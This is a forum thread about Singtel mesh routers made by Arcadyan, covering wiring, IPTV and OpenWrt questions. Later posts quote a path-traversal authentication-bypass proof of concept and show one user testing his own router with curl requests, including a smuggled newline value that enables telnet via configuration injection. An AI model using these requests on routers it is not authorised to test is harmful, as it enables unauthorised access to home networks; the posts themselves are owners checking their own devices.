Singtel Mesh Router

[boobip]

I think I'm probably the odd one out who got a good Nokia Beacon 1 lol. But I think most likely it's because I place my routers above chest level, thanks to the TV shelf with 2 open compartments up top. But most importantly, I'm rid of the Aztech Router! bwahhahahaha

Thanks xiaofan for your insights! Greatly appreciated! : )

 

[tekster]

any of u using the round singtel brand mesh router? who is the original maker of this rpund router?

 

[xiaofan]

any of u using the round singtel brand mesh router? who is the original maker of this rpund router?

The round shape one is SingTel Mesh Extender AC2600.

SingTel Mesh Router is rectangle shape.

Both are OEM from Arcadyan. Arcadyan is also the OEM of the past lousy SingTel Routers like AC Elite and AC Plus.

 

[coldfreeze]

@xiaofan, I notice the Singtel Mesh Router does not come with IPTV signal lights, so my guess is that it has to work as just an AP with the Nokia ONR (set top box connected directly to ONR port) that's usually supplied together by Singtel? Or can it be configured to work with my ALU ONT?

*Ohhh.... just found this, it works with ONT out of the box as well, silly me

I've not noticed this diagram before. I have an ONR, but my Singtel TV box is connected to the Mesh Router, and the mesh Router is connected to the ONR. Kind of like the ONT version of the diagram. My Singtel TV and Fibre both still works.

Is there any disadvantage of inadvertently connecting the Singtel TV box to the Singtel Mesh Router instead of to the ONR directly?

 

[xiaofan]

I've not noticed this diagram before. I have an ONR, but my Singtel TV box is connected to the Mesh Router, and the mesh Router is connected to the ONR. Kind of like the ONT version of the diagram. My Singtel TV and Fibre both still works.

Is there any disadvantage of inadvertently connecting the Singtel TV box to the Singtel Mesh Router instead of to the ONR directly?

No disadvantage. It works either way.

 

[coldfreeze]

No disadvantage. It works either way.

thank you. Glad to hear that.

 

[xiaofan]

For SingTel ONR users, if you put the ONR in DB box, and you only have one LAN port in the living room console area, then SingTel Mesh Router or other SingTel supported router has an advantage.

ONR -- SingTel Mesh Router (AP mode) -- SingTel TV box

For 3rd party router, only Netgear Orbi and Linksys E9450 can support SingTel TV box in the above configuration.

ONR -- Netgear Orbi or Linksys E9450 (AP mode) -- SingTel TV box

For other routers like Asus, the following will not work. You have to connect SingTel TV box to the ONR. But then you can not put the wireless router in the console area if you have only one LAN port.

ONR -- 3rd party router like Asus or TP-Link (AP mode) -- SingTel TV box → NOT WORKING

 

[tekster]

The round shape one is SingTel Mesh Extender AC2600.

SingTel Mesh Router is rectangle shape.

Both are OEM from Arcadyan. Arcadyan is also the OEM of the past lousy SingTel Routers like AC Elite and AC Plus.

thks. i was wondering who's the OEM.

 

[polaris13]

is there any way to add wireguard vpn to it? Do i need to flash to openwrt?

 

[xiaofan]

is there any way to add wireguard vpn to it? Do i need to flash to openwrt?

Not possible to flash openwrt, not possible to install Wireguard.

You will be better off buying cheap router which is OpenWRT compatible, for example, Linksys EA7500 v2 and EA8100 v1 are compatible with the latest 21.02 release. They are very cheap from Carousell.

FYI, right now my SingTel mesh router is running as an AP behind Openwrt (running on either EA7500 v2 or Linksys WRT1900AC, two of my old routers, with their wifi disabled).

 

[tay_liling]

Hi,
Question from a newbie.. i will have a pair of Singtel Mesh Extender AC2600 from recontract but i need another one extender for a 3rd room... can i just buy another pair from outside of the same model and use it ? or die die must buy from singtel because they need to figure something at their backend ?

Thanks.

 

[xiaofan]

Hi,
Question from a newbie.. i will have a pair of Singtel Mesh Extender AC2600 from recontract but i need another one extender for a 3rd room... can i just buy another pair from outside of the same model and use it ? or die die must buy from singtel because they need to figure something at their backend ?
Thanks.

You need to check with SingTel.

I am not so sure about Mesh Extended AC2600, but for SingTel provided Askey and Airties (worst mesh solution in the market), they offer dual pack and single pack. Dual pack is pre-paired, and you can not get from outside unit to mesh with the existing dual pack. You have to get the single pack from Singtel.

SingTel provided mesh solution has all kinds of strange limitations (eg: FW updates only from SingTel). So they are highly NOT recommended.

 

[valeron90]

Chanced upon this thread, not sure if anyone can help me out.

With the Aspey mesh as the main node connected to the ONR, would it work if I:
- connect a router (e.g. Asus) to the ONR instead of the mesh, and
- connect the Aspey mesh in one of the rooms via LAN cable?

Does that serve the purpose of the 'mesh'? TIA.

Main concern is becos wanted to use robot vacuum and it does not work with mesh wifi.. instead they suggest using point router. I checked online it seems Asus RT-AX58U might work. I noted the comments about the vlan settings etc and it appears that a new router does not work.

 

[xiaofan]

Today got a good download speed with Singtel Mesh router, with my new Acer Swift 3 laptop using Intel AX201 adapter.

But of course my RT-AX82U is much faster.

 

[hwzlite]

curiosity killed the cat

Just wonder did anyone vetted those Arcadyan based Singtel Routers according to these findings recently reported somewhere back in Aug/2021 :

• Multiple Vulnerabilities in Buffalo and Arcadyan manufactured routers

Proof of Concept:

The vulnerability exists due to a list of folders which fall under a "bypass list" for authentication. For most of the devices listed, that means that the vulnerability can be triggered by multiple paths. The simplest examples would be:

For a device in which http://<ip>/index.htm requires authentication, an attacker could access index.htm using the following paths:

• http://<ip>/images/..%2findex.htm
• http://<ip>/js/..%2findex.htm
• http://<ip>/css/..%2findex.htm

To have the pages load properly, one will need to use proxy match/replace settings to ensure any resources loaded which require authentication also leverage the path traversal. Additionally, certain files (those found under /cgi/) require a csrf (named httoken on these devices) token and a valid Referer header which will cause an error if the referer includes the ..%2f traversal (which can be match/replaced as well).

• Bypassing Authentication on Arcadyan Routers with CVE-2021–20090 and rooting some Buffalo

• WHITEPAPER - Router Vulnerability Present for a Decade

 

[xiaofan]

curiosity killed the cat

Just wonder did anyone vetted those Arcadyan based Singtel Routers according to these findings recently reported somewhere back in Aug/2021 :

• Multiple Vulnerabilities in Buffalo and Arcadyan manufactured routers

• Bypassing Authentication on Arcadyan Routers with CVE-2021–20090 and rooting some Buffalo

• WHITEPAPER - Router Vulnerability Present for a Decade

FYI, Arcadyan is the major OEM for routers (part of Compal group), including Asus RT-AX86U/88U and GT-AX11000.
http://en.techinfodepot.shoutwiki.com/wiki/List_of_802.11ax_Hardware
As far as I know, Singtel Mesh Router is not affected by the above-mentioned vulnerabilities. I am using it as an AP.

Firmware Version v5.02.00 build06a
Singtel Ltd. All rights reserved.
System Time:Mon Dec 06 2021 12:56:40
System Has Been Up for: 15 days, 0 hour, 2 mins

This 192.168.18.181 page can’t be found
No web page was found for the web address: 
http://192.168.18.181/images/..%2finfo.html

HTTP ERROR 404

​

 

[hwzlite]

As far as I know, Singtel Mesh Router is not affected by the above-mentioned vulnerabilities. I am using it as an AP.

Firmware Version v5.02.00 build06a
Singtel Ltd. All rights reserved.
System Time:Mon Dec 06 2021 12:56:40
System Has Been Up for: 15 days, 0 hour, 2 mins

This 192.168.18.181 page can’t be found​

No web page was found for the web address: http://192.168.18.181/images/../info.html
HTTP ERROR 404

​

ic , did you try the PoC for CVE-2021-20091 : Configuration File Injection too?
Think better not, dunno will brick router or not?

 

[xiaofan]

ic , did you try the PoC for CVE-2021-20091 : Configuration File Injection too?
Think better not, dunno will brick router or not?

Not affected by the other two either.

PS C:\work\speedtest\iperf3.10.1_64bit> curl --include -X POST http://192.168.18.181/apply_abstract.cgi -H "Referer: http://192.168.18.181/ping.html" --data "action=start_ping&httoken=<valid httoken>&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=<ip>%0AARC_SYS_TelnetdEnable=1&ARC_ping_status=0&TMP_Ping_Type=4"
HTTP/1.1 302 Found
Pragma: no-cache
Cache-Control: no-cache
Content-type: application/x-www-form-urlencoded
Content-length: 0
Location: /login.htm
X-Frame-Options: SAMEORIGIN
Connection: close

PS C:\work\speedtest\iperf3.10.1_64bit> curl --include "http://192.168.18.181/cgi/cgi_i_filter.js?_tn=442853667" -H "Referer: http://192.168.18.181/loginerror.html"
HTTP/1.1 307 Temporary Redirect
Pragma: no-cache
Cache-Control: no-cache
Content-length: 0
Location: /login.htm
X-Frame-Options: SAMEORIGIN
Connection: close

 

[miloaisdino]

Not affected by the other two either.

PS C:\work\speedtest\iperf3.10.1_64bit> curl --include -X POST http://192.168.18.181/apply_abstract.cgi -H "Referer: http://192.168.18.181/ping.html" --data "action=start_ping&httoken=<valid httoken>&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=<ip>%0AARC_SYS_TelnetdEnable=1&ARC_ping_status=0&TMP_Ping_Type=4"
HTTP/1.1 302 Found
Pragma: no-cache
Cache-Control: no-cache
Content-type: application/x-www-form-urlencoded
Content-length: 0
Location: /login.htm
X-Frame-Options: SAMEORIGIN
Connection: close

PS C:\work\speedtest\iperf3.10.1_64bit> curl --include "http://192.168.18.181/cgi/cgi_i_filter.js?_tn=442853667" -H "Referer: http://192.168.18.181/loginerror.html"
HTTP/1.1 307 Temporary Redirect
Pragma: no-cache
Cache-Control: no-cache
Content-length: 0
Location: /login.htm
X-Frame-Options: SAMEORIGIN
Connection: close

i must try this on my arcadyan ac elite soon. it wouldnt have fw updates installed on it as ive been using it as a switch! (default gateway unset, so theres no way for auto fw upgrades)

 

[xiaofan]

i must try this on my arcadyan ac elite soon. it wouldnt have fw updates installed on it as ive been using it as a switch! (default gateway unset, so theres no way for auto fw upgrades)

Haha, it will be interesting to know the results for Singtel AC Elite (aka Singtel AC1900) and Sintel AC Plus, both are OEM from Arcadyan. Same for Singtel Mesh Router (AC1900) and Mesh Extender AC2600.

On the other hand, the vulnerabilities mentioned are not a real problem if using the router in AP mode or a switch behind a router, as you would not able to access the device from WAN side normally.